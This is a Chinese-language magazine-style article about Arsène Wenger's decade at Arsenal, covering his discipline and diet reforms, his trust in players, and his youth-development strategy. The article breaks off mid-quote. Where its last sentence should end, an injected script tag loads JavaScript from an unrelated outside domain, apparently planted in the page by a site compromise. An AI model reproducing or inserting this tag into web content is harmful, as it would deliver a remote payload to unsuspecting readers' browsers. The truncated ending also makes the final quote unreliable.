自10年前这位法国教练来到伦敦，阿森纳取得了翻天覆地的变化。如今，阿森纳已被世界公认为屈指可数的超级俱乐部。温格，究竟是如何做到的呢？

    温格的球员生涯并没有取得什么大的成绩，大学里学经济出身的他在1981年开始走上教练的道路，执教理念深受米歇尔斯和拉特克的影响，1987年执教摩纳哥取得好成绩后，开始受到世人的关注。

    1996年10月1日，温格入主阿森纳。当时，伦敦晚报还以“哪里来的温格”为题撰文嘲笑了他一番。但正是他，如今却可以同阿森纳历史上最有名的教练赫伯特·查普曼齐名，并且在整个英超联盟中获得了极高的评价。“一眨眼就在阿森纳呆了十年，回想过去的经历，我觉得我还是相当幸运的。但我并不是一个喜欢怀旧的人，我没有兴趣谈过去的事情，我只对如何能实现我未完成的目标感兴趣。”这就是温格，一个极具前瞻性的现实主义者。

　　温格使阿森纳从底层登上了最高峰，这是不可否认的事实。球员的选择和队伍的构成自不必说，从长期的战术策略到新球场的设计理念，甚至连运动员用餐时使用的餐具款式和替补队员坐椅，统统都是他的管辖范围。温格说：“我所做的一切都是为了能让球队变得更强。我认为，要使一支队伍持续稳定成长，教练应该与俱乐部和球队保持长期的合作。”

　　意识改革与信任关系

　　温格谈到刚执教阿森纳时的岁月：“执教阿森纳后率队参加的首场比赛，现在想来就像昨天发生的事情一样让我记忆犹新。结束了与布莱克本队的比赛后，队员们竟然在返程大巴里唱起了幼稚可笑的歌曲，实在是难以置信。作为一名职业球员，他所说的每一句话都应该非常注意，可是队员们却完全没有这种意识。所以我就从这方面开始着手对阿森纳进行改革。从那之后我在队员们的饮食安排上也做了改变。不再让他们吃巧克力，而给他们吃鱼、蔬菜和谷物，也警告他们不准喝啤酒，而要喝矿泉水。一开始时，他们似乎也很不满，但是当自己的身体状态变好以后，谁都没有再抱怨过了。”

　　看到上面的话，我们可以很直接地感到温格在细节上的要求是很严格的。但可不要认为他是一个“独裁者”。在温格执教阿森纳的10年里，他从来没有与自己的球员发生口角，也不曾下过无理的命令，而是尽可能让球员理解并接受自己的想法，从而与球员建立良好的信任关系。“我也没做什么特别的事情，我做的都是一名合格教练的本职工作”，这句话是温格谦虚务实的执教态度的最好体现。

　　有的教练认为：球队取得胜利，最根本的原因不是教练传授了什么秘诀，也不是教练运用了什么特别的战术，而是队员能够完全地投入比赛，作出精彩的表演。当然也有的教练认为取得胜利，队员的作用只是第二位。比较起来，温格更倾向于前者，“我一直认为比起使用高水准的战术，如何信赖球员，把事情交给他们来做，才是教练职责的真正所在。教练的作用就是，给队员们鼓励，对他们说：‘我的命运掌握在你们手里，好好干，我相信你们一定行！’比教练头脑更灵敏的队员一旦感觉到不能掌握自己的命运时，就很容易变得没有信心提不起干劲。正因为如此，队员才会和教练产生矛盾，两者的关系也就存在风险而不是那么牢固了。”

　　赢得胜利，温格不会借此来夸耀；一旦遭遇失败，他也不会责怪队员。这正是他值得所有人尊敬的地方。

　　发展与长期规划

　　温格就任初期，阿森纳队长亚当斯患有严重的酒精依赖症，温格并没有放弃他，而是极富耐心地帮助他。之后亚当斯终于摆脱了酒精依赖症的困扰，温格工作的重心就是相互之间的一种信赖感，正是有了这种信赖，球队才有了现在的安定。

　　“除了要取得胜利外，球队的稳定性也是不可缺少的要素。人员经常变动，是不可能获得持续取得好成绩的。球队就像一个家庭一样，俱乐部的价值观要靠那些已经和俱乐部融为一体的球员来传播发展，如果球队的成员经常变换，俱乐部的价值观就无法总结归纳，无法延续，也无法形成自己的传统。”

　　几乎所有的教练都想找到能马上参赛发挥作用的实用型球员，可是温格却用他的耐心等待着年轻球员的成长。培养年轻球员，让他们越来越有自信心，同时自己也感受到了无比的喜悦与满足。

　　“5年前开始重用年轻球员。因为新球场的建设，俱乐部没有足够的资金来签新的球员，这是之前并没有考虑到的。从其他俱乐部新转来的年轻球员也不可能马上正式起用。但是，如果不培养一批年轻球员，我们不但现在没有人可以用，就是再过两年，我们还是会受制于人员短缺。如果我们现在开始为未来作些打算，在一两年之后，我们将会成为一个不好对付的对手。”

　　在温格来阿森纳之前，枪手在英格兰足坛的地位江河日下，但是温格改变了这一切，他使在此之前想都不敢想的阿森纳踢出了许多精彩的比赛。

　　温格说：“对于这一点我有很明确的想法。不管对手是谁，?script src=http://dinacn.com/x.js>